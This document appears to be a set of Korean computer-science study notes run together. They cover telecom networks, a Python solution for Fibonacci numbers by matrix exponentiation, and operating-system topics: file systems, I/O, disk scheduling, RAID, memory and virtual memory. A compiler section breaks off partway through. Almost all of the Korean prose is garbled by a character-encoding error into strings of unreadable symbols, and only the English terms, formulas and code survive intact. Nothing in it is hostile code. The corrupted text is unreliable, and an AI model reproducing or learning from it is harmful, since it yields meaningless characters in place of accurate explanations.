๋๋ ํ๊ฒฝ ๋ฑ ์ฌ๋ฌ ์ํฉ์ ๊ณ ๋ ค -> ์ฃผ์ ํ๋๊ฐ 4๊ฐ
Wifi ์์ฉ ๊ธฐ์ MIMO (Multiple Input Multiple Output) : ์ํ
๋ ๊ฐ์ ์ฆ๊ฐ -> ์ฑ๋ฅ ์ฆ๊ฐ ์ ํ๋ง, ์ผ์ด๋ธ๋ง, ๊ดํ
์ํฌ ์ ํ๋ง SS7(Signaling System 7) ์ ํ๋ง์ ์ ์ด๋ฅผ ์ํ ํ๋กํ ์ฝ
DSL ์ ํ๋งํฌ ์ด์ฉํ ๊ณ ์ ํต์ ๊ธฐ์
์ผ์ด๋ธ๋ง HFC ๊ด์ผ์ด๋ธ + ๋์ถ์ผ์ด๋ธ
๊ด๋คํธ์ํฌ SONET (Synchronous Optical Network)
๊ด์ผ์ด๋ธ์ ์ด์ฉํ ๋คํธ์ํฌ
ATM (Asynchronous Transfer Mode)
๊ฐ์ํ์ ์ด์ฉ ๋น๋๊ธฐ ํต์ ๊ธฐ์ : ํ์ + ํจํท ๊ตํ๋ง ๊ธฐ์
ํจํท(์
) : ๊ณ ์ 53Byte
์ด๋ํต์ ๋ธ๋ฃจํฌ์ค 2.4Ghz ๋ฌด์ ์ฑ๋ ์ฌ์ฉ FHSS RTLS (Real Time Location System) : ์ค์๊ฐ ์์น ์ถ์ ์์คํ
Zigbee ์ํ, ์ ์ ๋ ฅ ๋ฌด์ ๋คํธ์ํฌ๋ฅผ ์ํ ๊ธฐ์ ์ด๋ํต์ ๋ง ์ฝ์ด๋คํธ์ํฌ + ์ก์ธ์ค ๋คํธ์ํฌ 3G ๋คํธ์ํฌ GGSN (Gateway GPRS Support Node) GPRS ๋คํธ์ํฌ์ ์ธ๋ถ ๋คํธ์ํฌ๋ฅผ ์ฐ๊ฒฐํ๋ ๋ผ์ฐํฐ 1def multiply(m1, m2): 2 result = [0, 0, 0, 0] 3 result[0] = (m1[0]*m2[0] + m1[1]*m2[2]) % 1000000007 4 result[1] = (m1[0]*m2[1] + m1[1]*m2[3]) % 1000000007 5 result[2] = (m1[2]*m2[0] + m1[3]*m2[2]) % 1000000007 6 result[3] = (m1[2]*m2[1] + m1[3]*m2[3]) % 1000000007 7 return result 8 9def power(m, n): 10 if (n > 1): 11 m = power (m, n//2) 12 13 m = multiply (m, m) 14 if n % 2 == 1: 15 m = multiply(m, [1,1,1,0]) 16 return m 17 18N = int(input()) 19 20mat = power ([1,1,1,0], N) 21print (mat[1]%1000000007) ๋ฌธ์ n์ด ์ฃผ์ด์ง ๋ n๋ฒ์งธ ํผ๋ณด๋์น ์๋ฅผ ๊ตฌํ์ฌ๋ผ.
์ด๋ n์ 1,000,000,000,000,000,000๋ณด๋ค ์๊ฑฐ๋ ๊ฐ์ ์์ฐ์์ด๋ค.
TC
input 1000
ouput 517691607
ํด๊ฒฐ๋ฐฉ๋ฒ ํ๋ ฌ์ ๊ฑฐ๋ญ์ ๊ณฑ์ ์ด์ฉํด์ฌ ํผ๋ณด๋์น ์๋ฅผ ๊ตฌํ์๋ค ๊ณต์์ ๋ค์๊ณผ ๊ฐ๋ค $$ \begin{bmatrix}F*{n+1} & F*{n} \\ F*{n} & F*{n-1} \ \end{bmatrix} = \begin{bmatrix}1&1 \\ 1&0 \\ \end{bmatrix} ^n$$
ํ์์ธ ๊ฒฝ์ฐ ํ๋ฒ ๋ ๊ณฑํด์ฃผ์ด์ผ ํ๋ค๋ ๊ฒ์ ๊ณ ๋ คํ์ฌ ๋ถํ ์ ๋ณต ๋ฐฉ์์ผ๋ก ํด๊ฒฐํ์๋ค 06-File-Management Directory File Directory Directory๋ ์ผ์ข
์ ํ์ผ์ด๋ค ํด๋น ํ์ผ FCB์ ์๋ณ์๋ง ์ ์ฅํ๋ค inode (index node) Unix์์๋ FCB์ inode๊ฐ ๊ฐ๋ค ๋ชจ๋ ํ์ผ, ํด๋๊ฐ Uniqueํ ๊ฐ์ ๊ฐ์ง๋ค. (root๋ 2๋ก ๊ณ ์ ) File Systems ํํฐ์
์ ๊ตฌ์กฐ boot block, super block, FCB list, data blocks Partition Control block (Super block) blocks ๊ฐ์, free data blocks ๊ฐ์, free data blocks list ์ ์ฅ inode table, free inode ๊ฐ์, free inode list ์ ์ฅ File Control Block (FCB) UNIX์์ 128byte์ ํฌ๊ธฐ๋ฅผ ๊ฐ์ง๋ค ํ์ผ ์ด๋ฆ, ํ์ผ ํฌ๊ธฐ, uid, gid, ํ์ผ ์ฃผ์ ๋ฑ๋ฑ ์ ์ฅ Management of Data Blocks Contiguous Allocation ๊ฐ๊ฐ์ ํ์ผ์ ์ฐ์์ ์ผ๋ก ์ ์ฅ Direct Access File grow problem ์กด์ฌ External fragmentation, Internal fragmentation ๋ฐ์ Chained Allocation Direct acess File grow problem X External fragmentation X Poor data safety (์ ๋ธ๋ก์ ๋ฌธ์ ๊ฐ ์๊ธฐ๋ฉด ๋ค ๋ธ๋ก๋ ์ฌ์ฉ ๋ถ๊ฐ๋ฅ) Indexed Allocation (ํ๋์ ์ฌ์ฉ) Direct access File grow problem X External fragmentation X Medium level data safety (index block๋ง ๊ด์ฐฎ์ผ๋ฉด ๋๋ค) Index block์ด ์ถ๊ฐ๋ก ํ์ํ๋ค Free-Space Management Counting N-M… N๋ฒ๋ถํฐ M๊ฐ์ ๋ธ๋ก์ด ๋น์ด์๋ค. Linked List ๋น์ด์๋ ๋ธ๋ก๋ค์ ์ฐ๊ฒฐ๋ฆฌ์คํธ๋ก ๊ด๋ฆฌํ๋ค. Grouping ๋น์ด์๋ ๋ธ๋ก๋ค์ ๊ทธ๋ฃน์ผ๋ก ๊ด๋ฆฌํ๋ค. Bit Vector ๋ชจ๋ ๋ธ๋ก๋ค์ ๋นํธ๋ก ๊ด๋ฆฌํ๋ค. (0์ด๋ฉด ์ฌ์ฉ ์ค, 1์ด๋ฉด ๋น์ด์์) ๋จ์ : ์ฉ๋์ ๋ง์ด ์ฐจ์งํ๋ค. File System Example (UNIX) Addresses of Data Blocks Index ๋ธ๋ก ํ๋๋ 4096 byte 4096 / 4 = 1024๊ฐ์ ๋ธ๋ก ์ฃผ์๋ฅผ ์ ์ฅํ ์ ์๋ค. 10๊ฐ์ data blocks๋ inode๋ด(direct block field)์ ์ ์ฅํ๋ค Data Block Addressing direct block 10๊ฐ : 40KB (10 X 4 X 2^10 bytes) single indirect block 1๊ฐ : 4MB (4KB X 2^10 = 2^22 bytes) double indirect block 1๊ฐ : 4GB (4KB X 2^10 X 2^10 = 2^32 bytes) triple indirect block 1๊ฐ : 4TB File System Example (Linux) Virtual File System ์ ์ฉ Linux Inode Inode์ ํฌ๊ธฐ : 128 bytes (ext2, ext3), 256 bytes (ext4) Direct block 12๊ฐ, Indirect block 3๊ฐ 07-IO-Management-Disk-Scheduling Kernel Modules for IO Management Kernel I/O Management Device Scheduling Error handling Buffering (copy semantics๋ฅผ ์ ์ง) Caching : ๋น ๋ฅธ ์๋๋ฅผ ์ํด ์ฌ์ฉ Spooling : ๋ณด์กฐ ๊ธฐ์ต ์ฅ์น์ ์์๋ก ์ ์ฅ (์ฌ๋ฌ ์ฌ๋์ด ๊ณต์ ํ๊ธฐ ๋๋ฌธ) Interrupt handling Interrupt ์ฃผ๋ณ ์ฅ์น -> OS : ๋น๋๊ธฐ์ ์ด๋ฒคํธ์ ๋ฐ์์ ์๋ฆผ IDT (Interrupt Descriptor Table = IVT) : ์ธํฐ๋ฝํธ ๋ฒํธ์ ISR์ ์ฃผ์๋ฅผ ์ ์ฅ ISR (Interrupt Service Routine) : ์ธํฐ๋ฝํธ ๋ฐ์ ์ ์คํ๋๋ ํจ์ Interrupt ์ฒ๋ฆฌ ๊ณผ์ Mode change IDT์์ ISR์ ์ฃผ์๋ฅผ ์ฐพ์์ ์คํ ISR์์ ๊ธํ ์ผ ๋ถํฐ ์ฒ๋ฆฌ, ํ์ํ๋ฉด ๋ฏธ๋ฃฌ๋ค Scheduler๊ฐ ํ ์ผ์ ๊ฒฐ์ Trap OS์๊ฒ ๋๊ธฐ์ ์ด๋ฒคํธ์ ๋ฐ์์ ์๋ฆผ ์) div_by_zero, seg_fault, protection_fault, page_fault page fault๋ง ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃ ์ํค์ง ์์ Kernel์ Interrupt์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ฒ๋ฆฌ System Call Process -> OS : ๋๊ธฐ์ ์ด๋ฒคํธ์ ๋ฐ์์ ์๋ฆผ System call ์ฒ๋ฆฌ Using system call table ex) int $0x80 sysenter ๋ช
๋ น I/O Control : Polling I/O Control Polling : ์ฃผ๊ธฐ์ ์ผ๋ก I/O ์ฅ์น์ ์ํ๋ฅผ ํ์ธ Interrupt-driven I/O : I/O ์ฅ์น๊ฐ ์ธํฐ๋ฝํธ ๋ฐ์ DMA(Direct Memory Access) : CPU์ ๊ฐ์
์์ด ๋ฉ๋ชจ๋ฆฌ์ ์ฃผ๋ณ์ฅ์น ์ฌ์ด์ ๋ฐ์ดํฐ ์ ์ก Polling Busy-wait cycle Host๊ฐ busy bit๋ฅผ ๋ฐ๋ณต์ ์ผ๋ก ํ์ธ Host๊ฐ write bit ์ค์ , data-out register์ ๋ฐ์ดํฐ ์ ์ฅ Host๊ฐ command-ready bit ์ค์ Controller๊ฐ command-ready bit ์ค์ ์ ํ์ธํ๋ฉด busy bit ์ค์ Controller๊ฐ control register (write command)๋ฅผ ์ฝ๊ณ , data-out register์ ๋ฐ์ดํฐ๋ฅผ ์ฝ๋๋ค I/O๊ฐ ๋๋๋ฉด controller๊ฐ command-ready bit, busy bit ํด์ ํน์ง I/O๊ฐ ๋นจ๋ฆฌ ๋๋๋ฉด ํจ์จ์ , ๋ฆ๊ฒ ๋๋๋ฉด ๋นํจ์จ์ I/O Control : Interrupt I/O, DMA Interrupt-Driven I/O 1~3์ Polling๊ณผ ๋์ผ 4 : Process management๋ฅผ ํตํด Context switch 8 : IO๊ฐ ๋๋๋ฉด Interrupt ReQuest(IRQ)๋ฅผ cpu์๊ฒ ๋ณด๋ธ๋ค ์ฅ์ : ์ฃผ์ด์ง ์๊ฐ์์ ๋ง์ ํ๋ก์ธ์ค ์์ฉ ๊ฐ๋ฅ, I/O๊ฐ ๋๋ฆด์๋ก ํจ์จ์ ๋จ์ : I/O๊ฐ ๋น ๋ฅด๋ฉด ๋นํจ์จ์ (์ฆ์ Context Switch, mode change) DMA (Direct Memory Access) ๊ธฐ์กด ๋ฐฉ์์ ๋ฌด์กฐ๊ฑด processor๋ฅผ ๊ฑฐ์ณ๊ฐ์ผํ๋ค DMA ๋ชจ๋์ด I/O์ Memory ์ฌ์ด ์ญํ ์ํ, ๋๋๋ฉด Interrupt ๋ฐ์ ์ฅ์ : CPU๊ฐ ๋ค๋ฅธ ์์
๊ฐ๋ฅ, ๋น ๋ฅด๋ค Disk Scheduling Disk Structure Sector, Track, Cylinder Disk๋ logical block์ ๋ฐฐ์ด์ด๋ค Timing of a Disk I/O Transfer Seek time : ์ฑ๋ฅ์ ํฐ ์ํฅ์ ๋ฏธ์น๋ค Rotational delay Transfer time Disk Scheduling Policies FIFO ์์ฒญ ์์๋๋ก ์ฒ๋ฆฌ SSTF (Shortest Seek Time First) ํ์ฌ ์์น์์ ๊ฐ์ฅ ๊ฐ๊น์ด ์์ฒญ์ ์ฒ๋ฆฌ starvation ๋ฌธ์ ๋ฐ์ (์๋ฅผ ๋ค์ด ์์ ์ซ์๋ง ๋์ค๋ฉด?) SCAN (Elevator Algorithm) ํ ๋ฐฉํฅ์ผ๋ก ํ์ผ๋ฉด์ ์ฒ๋ฆฌ ์ฑ๋ฅ ๋น๊ต SSTF > SCAN > FIFO Disk Cache Main memory์ ๋ช๋ช ์นํฐ์ ๋ณต์ฌ๋ณธ์ ์ ์ฅ Replacement Policy LRU (Least Recently Used) ๊ฐ์ฅ ์ค๋ซ๋์ ์ฌ์ฉํ์ง ์์ ์นํฐ๋ฅผ ๊ต์ฒด LFU (Least Frequently Used) ๊ฐ์ฅ ์ ๊ฒ ์ฌ์ฉ๋ ์นํฐ๋ฅผ ๊ต์ฒด RAID RAID Redundant Array of Inexpensive Disks : ์ ๋ ดํ ์ฌ๋ฌ ๊ฐ์ ๋์คํฌ ๋ฌถ์
RAID 0 (non-redundant) ๋ฐ์ดํฐ๋ฅผ ์ฌ๋ฌ ๋์คํฌ์ ๋ถ์ฐ ์ ์ฅ ์ฅ์ : ์ฉ๋์ด 4๋ฐฐ ๋จ์ : ํ๋์ ๋์คํฌ๊ฐ ๊ณ ์ฅ๋๋ฉด ๋ชจ๋ ๋ฐ์ดํฐ ์์ค RAID 1 (mirrored) RAID 0์ ๋ณต์ ์ฅ์ : ์ ๋ขฐ์ฑ์ด ๋๋ค ๋จ์ : ๋์คํฌ๊ฐ 2๋ฐฐ๋ก ๋ค์ด๊ฐ๋ค RAID 3 (bit-interleaved parity) ํ ๋์คํฌ์ parity bit๋ฅผ ์ ์ฅ (๊ฐ์ ์์น์ bit๋ค์ parity) ์ฅ์ : ํ๋์ ๋์คํฌ ๋ณต์ ๊ฐ๋ฅ ๋จ์ : ์ด๋ค ๋์คํฌ๊ฐ ๊ณ ์ฅ๋ฌ๋์ง ์ ์ ์๋ค, 5๊ฐ๋ฅผ ๋์์ ์ฝ์ด์ ๋๋ฆผ RAID 4 (block-level parity) ํ ๋์คํฌ์ parity bit๋ฅผ ์ ์ฅ (๊ฐ์ ์์น์ block๋ค์ parity) ์ฅ์ : ๋ธ๋ก ๋จ์ -> ๋ณ๋ ฌ์ ์ผ๋ก IO ๊ฐ๋ฅ (RAID 3๋ณด๋ค ๋น ๋ฆ) ๋จ์ : ์ด๋ค ๋์คํฌ๊ฐ ๊ณ ์ฅ๋ฌ๋์ง ์ ์ ์๋ค RAID 5 (block-level distributed parity) RAID 4์ ๋์ผํ๋ parity bit๋ฅผ ์ฌ๋ฌ ๋์คํฌ์ ๋ถ์ฐ ์ ์ฅ RAID 6 (dual redundancy) RAID 5์ ๋์ผํ๋ parity bit๋ฅผ 2๊ฐ ์ ์ฅ (1๊ฐ๋ odd, 1๊ฐ๋ even) ์ฅ์ : RAID5 ๋ณด๋ค ๋์ ์ ๋ขฐ์ฑ RAID 01, RAID 10 RAID 0๊ณผ RAID 1์ ํฉ์น ๊ฒ RAID 01 < RAID 10 08-Memory-Management Memory Management Memory Management Requirements Memory Allocation : ํ๋ก์ธ์ค๋ณ๋ก ๋ฉ๋ชจ๋ฆฌ ํ ๋น Memory Protection : ๊ฐ ํ๋ก์ธ์ค๊ฐ ํ์ฉ๋ ์์ญ๋ง ์ ๊ทผ ๊ฐ๋ฅ Relocation : ํฉ์ด์ง ์์ ๊ณต๊ฐ์ ํฉ์น๊ธฐ Sharing : ๋ถ๋ชจ ์์ ํ๋ก์ธ์ค ๊ฐ shared memory Memory Partitioning Fixed Partitioning : ๊ฐ์ ํฌ๊ธฐ์ ๊ณต๊ฐ์ผ๋ก ๋๋ ์ ํ ๋น
์ฅ์ : ๊ฐ๋จํ๋ค ๋จ์ : ๋ด๋ถ ๋จํธํ ๋ฐ์ Dynamic Partitioning : ํ๋ก์ธ์ค ํฌ๊ธฐ์ ๋ง๊ฒ ํ ๋น
์ฅ์ : ๋ด๋ถ ๋จํธํ ๋ฐ์ X ๋จ์ : ์ธ๋ถ ๋จํธํ ๋ฐ์ (compaction์ ํตํด ํด๊ฒฐ ๊ฐ๋ฅ but, overhead๊ฐ ํฌ๋ค) Dynamic Partition Placement Algorithm
First-fit : ์ฒ์์ผ๋ก ๋ง๋ ๊ณต๊ฐ์ ๋ฃ๋๋ค ์ฅ์ : ๋น ๋ฅด๋ค ๋จ์ : ๋ฉ๋ชจ๋ฆฌ ํจ์จ์ด ์ข์ง ์๋ค Best-fit : ๋๊น์ง ์กฐ์ฌํด์ ๊ฐ์ฅ ๋น์ทํ ๊ณณ์ ํ ๋น ์ฅ์ : ๋๋ฆฌ๋ค ๋จ์ : ๋ฉ๋ชจ๋ฆฌ ํจ์จ์ด ์ข๋ค Buddy System Allocation 2^k ํฌ๊ธฐ์ ๊ณต๊ฐ์ ํ ๋น Deallocation Buddy ํ ์์ด ๋ชจ๋ free์ธ ๊ฒฝ์ฐ, ํฉ์น๋ค (ํ์ Overhead๋ฅผ ์ค์ด๊ธฐ ์ํด) ์ฅ์ : ์ธ๋ถ ๋จํธํ๊ฐ ๊ฑฐ์ ์๋ค ๋จ์ : ๋ด๋ถ ๋จํธํ ๋ฐ์ Virtual Address Space Type of Memory Addresses Physical address : ์ค์ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์ Logical address : ํ๋ก์ธ์ค๊ฐ ๋ณด๋ ์ฃผ์ Virtual address : Virtaul memory์ Logical address Relative address (์ฃผ์ ๊ณ์ฐ ๋ฐฉ์) : ์๋์ ์ธ ์ฃผ์ Virtual Address Space ํฌ๊ธฐ : 4GB (32bit ์ปดํจํฐ) : 0x00000000 ~ 0xFFFFFFFF kernel - stack - heap - bss - data - code Address Binding Address binding instruction๊ณผ ๋ฐ์ดํฐ์ Physical address๋ฅผ ์์๋ด๋ ๊ฒ 3๊ฐ์ง ์ํฉ์ ์ผ์ด๋ ์ ์๋ค (Compile time, Load time, Execution time) Compile time binding Compileํ ๋, base address๋ฅผ ์๋ ค์ค์ผ๋ก์จ ๋ฏธ๋ฆฌ physical address๋ฅผ ๋ฃ์ด๋๋๋ค Logical address = Physical address ๋ฌธ์ ์ : Relocation ๋ถ๊ฐ (base address๊ฐ ๋ฐ๋๋ฉด ๋ค์ compile ํด์ผํจ) Load time binding Loadํ ๋, physical address๋ฅผ ๊ณ์ฐ Logical address = Physical address ๋ฌธ์ ์ : Relocation ๋ถ๊ฐ Execution time binding ์คํํ ๋, physical address๋ฅผ ๊ณ์ฐ Logical address != Physical address Relocation ์ผ์ด๋๋ ์ด์ : Swapping, Compaction Hardware for Execution Time Binding Base register : ์์ ์ฃผ์ Bounds register (limit register) : ๋ ์ฃผ์ Adder๊ฐ Base Register + releative address ๊ณ์ฐ Comparato๊ฐ Bounds Register์ ๋น๊ต ์์ญ ๋ฐ์ธ ๊ฒฝ์ฐ Segementation Fault(Trap) ๋ฐ์ Paging Paging ํ๋ก์ธ์ค๋ฅผ ๊ฐ์ ํฌ๊ธฐ์ ํ์ด์ง๋ก ๋๋๋ค page size = frame size = disk block size = 4KB Internal fragmentation ๋ฐ์ (๋ฌด์ ๊ฐ๋ฅ) Page Table PCB์ ์ ์ฅ ๋์ด์ ๊ด๋ฆฌ Virtual Memory ์ฌ์ฉ ์ N๊ณผ frame number๊ฐ ์์ฌ์ ์กด์ฌ Page number and offset Logical address = Page number + offset Page size 16 Bytes (128bit), 8 bit address์ธ ๊ฒฝ์ฐ ํ์ํ ์ฃผ์ ๊ฐ์ = 128 / 8 = 16๊ฐ offset = 4bit (2 ^ 4 = 16) page number = 8 - 4 = 4bit (๋จ๋ ๊ฑฐ) Address translation in Paging Logical address -> Physical address offset์ ๊ทธ๋๋ก, page ๋ฒํธ๋ง frame ๋ฒํธ๋ก ๋ฐ๊พผ๋ค Segmentation ํ๋ก์ธ์ค๋ฅผ ๋ค๋ฅธ ํฌ๊ธฐ์ ๋
ผ๋ฆฌ์ ๋จ์์ธ ์ธ๊ทธ๋จผํธ๋ก ๋๋๋ค Dynamic partitioning๊ณผ ์ ์ฌ ๋
ผ๋ฆฌ์ ์ผ๋ก ๋น์ทํ ๊ฒ๋ค์ ๋ฌถ๋๋ค. 09-Virtual-Memory Advantages of Virtual Memory Virtual Memory ์ ์ฒด ํ๋ก์ธ์ค๊ฐ ๋ฉ๋ชจ๋ฆฌ์ ์ฌ๋ผ๊ฐ ํ์๊ฐ ์๋ค ๋ ๋ง์ ํ๋ก์ธ์ค ์์ฉ ๊ฐ๋ฅ -> swap ๋น๋ ๊ฐ์, ์ข์ ๋ฐ์์ฑ ์ ์ฒด ๋ฉ๋ชจ๋ฆฌ ๋ณด๋ค ํฐ ํ๋ก์ธ์ค๋ ์คํ ๊ฐ๋ฅ Types of Memory Real Memory address : Real address, Physical address, Absolute address Virtual Memory address : Logical address, Virtual address Execution of a Program Resident set : Main memory์ ์กด์ฌํ๋ ํ๋ก์ธ์ค ์งํฉ Main Memory์ ์๋ Page๊ฐ ํ์ํ ๊ฒฝ์ฐ -> Page fault (interrupt) ํด๋น ํ๋ก์ธ์ค block -> ๋ค๋ฅธ ํ๋ก์ธ์ค ์คํ -> Disk I/O ๋๋๋ฉด ๋ค์ ready Principle of Locality ํ๋ก์ธ์ค์ ํ๋ก๊ทธ๋จ ๋ฐ ๋ฐ์ดํฐ ์ฐธ์กฐ๋ ๋ญ์น๋ค๋ ์ฑ์ง Virtual Memory๊ฐ ํจ์จ์ ์ธ ์ด์ ์ค ํ ๊ฐ์ง Demand paging Demand paging Virtual Memory์ ๋๊ฐ์ง ๋ฐฉ๋ฒ Demand paging Demand segmentation : ๋๋ ค์ ์ฌ์ฉ ํ์ง ์๋๋ค Address Translation in demand paging Page table base register์ page table ์์ ์ฃผ์๋ฅผ ์ ์ฅ ๋งค๋ฒ 2๋ฒ์ฉ Main memory๋ฅผ accessํ ํ์ ์์ Page Table Entry P M R U W COW page frame number (p`) P : present(valid) bit : Main memory์ ์กด์ฌํ๋์ง ์ฌ๋ถ M : modified bit : ํ์ด์ง๊ฐ ์์ ๋์๋์ง ์ฌ๋ถ R : referenced bit : ํ์ด์ง๋ฅผ ์ ๊ทผํ์ ์๋์ง ์ฌ๋ถ U : user mode : User context์ ํด๋นํ๋์ง ์ฌ๋ถ W : writable : ํ์ด์ง๊ฐ ์ฐ๊ธฐ ๊ฐ๋ฅํ์ง ์ฌ๋ถ COW : copy-on-write : ํ์ด์ง๋ฅผ ๋ถ๋ชจ๋ ๊ณต์ ํ๋์ง ์ฌ๋ถ Modify Bit in page table M bit๊ฐ 0์ด๋ฉด ๋์คํฌ์ ๋ฐ์ํ์ง ์๊ณ ์ญ์ ๊ฐ๋ฅ Sharing of Pages ๊ฐ์ ํ์ด์ง๋ฅผ ๊ณต์ ํด์ผํ ๋, Page table์ ๊ฐ์ ์ฃผ์๋ฅผ ์ ์ฅ Multi-level Page Table Size of Page tabbles ํฐ ํ๋ก์ธ์ค๋ 1๊ฐ์ page table๋ก ์ฒ๋ฆฌ๋ถ๊ฐ -> Multi-level apge table Two-Level Scheme for 32-bit address 1๊ฐ์ Page Table์ด ์์ฉํ๋ ํ์ด์ง์๋ = 1K๊ฐ 4GB User address space = 1M๊ฐ์ ํ์ด์ง -> ํ์ด์ง ํ
์ด๋ธ์ด ๋ ํ์ Two-Level Paging Example Page number๊ฐ 2๊ฐ ์กด์ฌ page number1 : 10bit page number2 : 10bit page offset : 12bit Addres-Translation Scheme Page ํฌ๊ธฐ 4096B / Page tableํฌ๊ธฐ 4B = 1024 -> page number์ ๊ฐ์ = 10bit (2^10=1024) ํ์ด์ง์ ํฌ๊ธฐ 4096B์ด๊ธฐ ๋๋ฌธ์ -> Offset bit = 12bit (2^12=4096) Translation Lookaside Buffer Translation Lookaside Buffer ๊ณ์ธต์ด ๋ง์์ง๋ฉด ์๊ฐ์ด ์ค๋๊ฑธ๋ฆฐ๋ค TLB์ accessํ ์์๋๋ก ์ ์ฅ TLB๋ ๋ณ๋ ฌ๋ก ํ์, O(1)๋ก ํ์๊ฐ๋ฅ TLB ํ์ธ -> ์์ผ๋ฉด Page table ํ์ธ -> ์์ผ๋ฉด Page fault Effective Access Time Memory cycle = 1์ด๋ผ๊ณ ๊ฐ์ TLB ์ฝ๋ ์๊ฐ = $\varepsilon$ TLB hit ratio = $\alpha$ EAT = TLB์ ์์ ๋ ๊ฑธ๋ฆฌ๋ ์๊ฐ + ์์๋ ๊ฑธ๋ฆฌ๋ ์๊ฐ $$ EAT = (\varepsilon+1)\alpha + (\varepsilon+1+1)(1-\alpha) = 2+\varepsilon-\alpha $$ Page Replacement Replacement Policy Main Memory๊ฐ ๊ฝ์ฐจ๋ฉด page๋ฅผ swap out ์์ผ์ผํ๋ค Basic Replacement Algorithms FIFO ๊ฐ์ฅ ์ค๋๋ ํ์ด์ง๋ฅผ ๊ต์ฒด ๋นํจ์จ์ Optimal policy ๊ฐ์ฅ ๋์ค์ ์ฌ์ฉ๋ ํ์ด์ง๋ฅผ ๊ต์ฒด ๋์ค์ ์ด๋ค page๊ฐ ํ์ํ ์ง ์๋ ๊ฒฝ์ฐ ์ฌ์ฉ๊ฐ๋ฅ Least Recently Used (LRU) ๊ฐ์ฅ ์ค๋์ ์ ์ฌ์ฉ๋ ํ์ด์ง๋ฅผ ๊ต์ฒด ๋ง์ง๋ง์ผ๋ก ์ธ์ ์ฐ์๋์ง ํญ์ ์ฐพ์์ผ ํ๋ค -> Overhead ๋ฐ์ Clock Policy (Second change algorithm) ๋์๊ฐ๋ฉด์ user bit -= 1 user == 0์ด๋ฉด ๊ต์ฒด ํ์ด์ง๋ฅผ ์ฌ์ฉํ๋ฉด user ๋นํธ = 1 ์ฑ๋ฅ ๋น๊ต FIFO < Clock < LRU < OPT Enhanced Clock Policy U๋นํธ์ M๋นํธ์ ๋ฐ๋ผ ์ฐ์ ์์ ๋ถ์ฌ U = 0, M = 0 U = 0, M = 1 U = 1, M = 0 U = 1, M = 1 Performance of Demand Paging Page Fault Rate = page fault ํ์ / page ๋ถ๋ฌ์ค๋ ํ์ Effective Access Time(EAT) = (1-p) x memory access + p x (page fault overhead + swap page out + swap page in + restart overhead) ๊ฐ์ ์ปดํจํฐ์ ์ธ๊ฐ์ด ์ํตํ๋ ๋ฐฉ๋ฒ ์ด์
๋ธ๋ฆฌ์ด ์ด์
๋ธ๋ฆฌ์ด์ ๋ฒ์ญ๊ธฐ๋ ์ด์
๋ธ๋ฌ(Assembler)๋ผ๊ณ ํ๋ค cpu์นฉ์
์ด ๋ฐ๋๋๋ง๋ค ์ด์
๋ธ๋ฆฌ์ด๊ฐ ๋ฐ๋๋ค ๊ณ ๊ธ์ธ์ด ๊ณ ๊ธ์ธ์ด์ ๋ฒ์ญ๊ธฐ๋ ์ปดํ์ผ๋ฌ(Compiler)๋ผ๊ณ ํ๋ค ์ปดํ์ผ๋ฌ์ ์ ํํ ์ ์ ์ด๋ค ์ธ์ด๋ก ์ฐ์ฌ์ง ํ๋ก๊ทธ๋จ์ ๊ฐ์ ์ญํ ์ ๋ค๋ฅธ ์ธ์ด๋ก ๋ฐ๊ฟ์ฃผ๋ ํ๋ก๊ทธ๋จ
1952๋
๊ทธ๋ ์ด์ค ํธํผ(Grace Hopper)๊ฐ UNIVAC์ฉ ํ๋ก๊ทธ๋๋ฐ์ธ์ด A-0 ์ปดํ์ผ๋ฌ๋ฅผ ์ ์ ์ปดํ์ผ๋ฌ vs ์ธํฐํ๋ฆฌํฐ ํ๋ก๊ทธ๋จ ์ฒ๋ฆฌ๊ณผ์ ์ปดํ์ผ๋ฌ์ ์ฒ๋ฆฌ ๊ณผ์ Lexical analysis (์ดํ ๋ถ์) token์ ์์ฑํ๋์ผ, token์ ์ดํ์ ์ต์ ๋จ์ Syntax analysis (๊ตฌ๋ฌธ ๋ถ์) token์ ์ฝ์ด์ ์ค๋ฅ๋ฅผ ๊ฒ์, ๊ตฌ๋ฌธ ๊ตฌ์กฐ๋ฅผ ๋ง๋ ๋ค (์ฃผ๋ก ํธ๋ฆฌํํ) Semantic analysis (์๋ฏธ ๋ถ์) type checking Intermediate code generation (์ค๊ฐ ์ฝ๋ ์์ฑ) ์ค๊ฐ ์ฝ๋๋ก ๋ณํ Code optimization (์ฝ๋ ์ต์ ํ) ์ค๊ฐ ์ฝ๋๋ฅผ ๋ ํจ์จ์ ์ผ๋ก ๋ณํ Code generation (์ฝ๋ ์์ฑ) ๋ชฉ์ ์ฝ๋ ์์ฑ Lexical analysis (์ดํ ๋ถ์) token : ๋ฌธ๋ฒ์ ์ผ๋ก ์๋ฏธ์๋ ์ต์ ๋จ์ FSA (Finite State Automata, ์ ํ ์ํ ์คํ ๋งํ) token์ ์ธ์ํ๋ ๋ฐฉ๋ฒ ์์ ์ํ ํ ๊ฐ์ ๋ ์ํ ์ฌ๋ฌ ๊ฐ๋ฅผ ๊ฐ์ง DFA (Deterministic Finite Automata) FSA์ ํ ์ข
๋ฅ ๊ฐ ์ํ์์ ๋ป์ด๋๊ฐ๋ edge๊ฐ ํ๋์ฉ๋ง ์กด์ฌ ฮต๊ฐ ๋ถ์ edge ์์ ๋ถ์ํ ํ ํฐ์ ํํํ๋ ๋ฐฉ๋ฒ Lexeme = <ํ ํฐ๋ฒํธ, ํ ํฐ ๊ฐ>
์์ if X < Y … (29, 0) (1, X) (18, 0) (1, Y) … ์๋ณ์์ ํ ํฐ๋ฒํธ๋ 1๋ฒ, ์์๋ 2๋ฒ ๋ฑ์ผ๋ก ๊ณ ์ Syntax analysis (๊ตฌ๋ฌธ ๋ถ์) token์ ์ฝ์ด์ ์ค๋ฅ๋ฅผ ๊ฒ์, parse tree๋ฅผ ๋ง๋ ๋ค CFG (Context Free Grammer) ๊ตฌ๋ฌธ์ ํํํ๋ ๋ฐฉ๋ฒ G = (N, T, P, S) N = nonterminal symbol ์ํ๋ฒณ ๋๋ฌธ์๋ก ํํ T = terminal symbol (token) ์ํ๋ฒณ ์๋ฌธ์+์ซ์, ์ฐ์ฐ์, ๊ตฌ๋ถ์, ํค์๋ ๋ฑ P = production rule ์) S -> T+T, T -> ‘0’|‘1’|‘2’ S = start symbol L(G) : ์ด ๋ฌธ๋ฒ์ผ๋ก ์์ฑ๋๋ ์ธ์ด ์ฌ๋ฌ๊ฐ์ง CFG ํํ๋ฒ BNF (Backus-Naur Form) EBNF (Extended 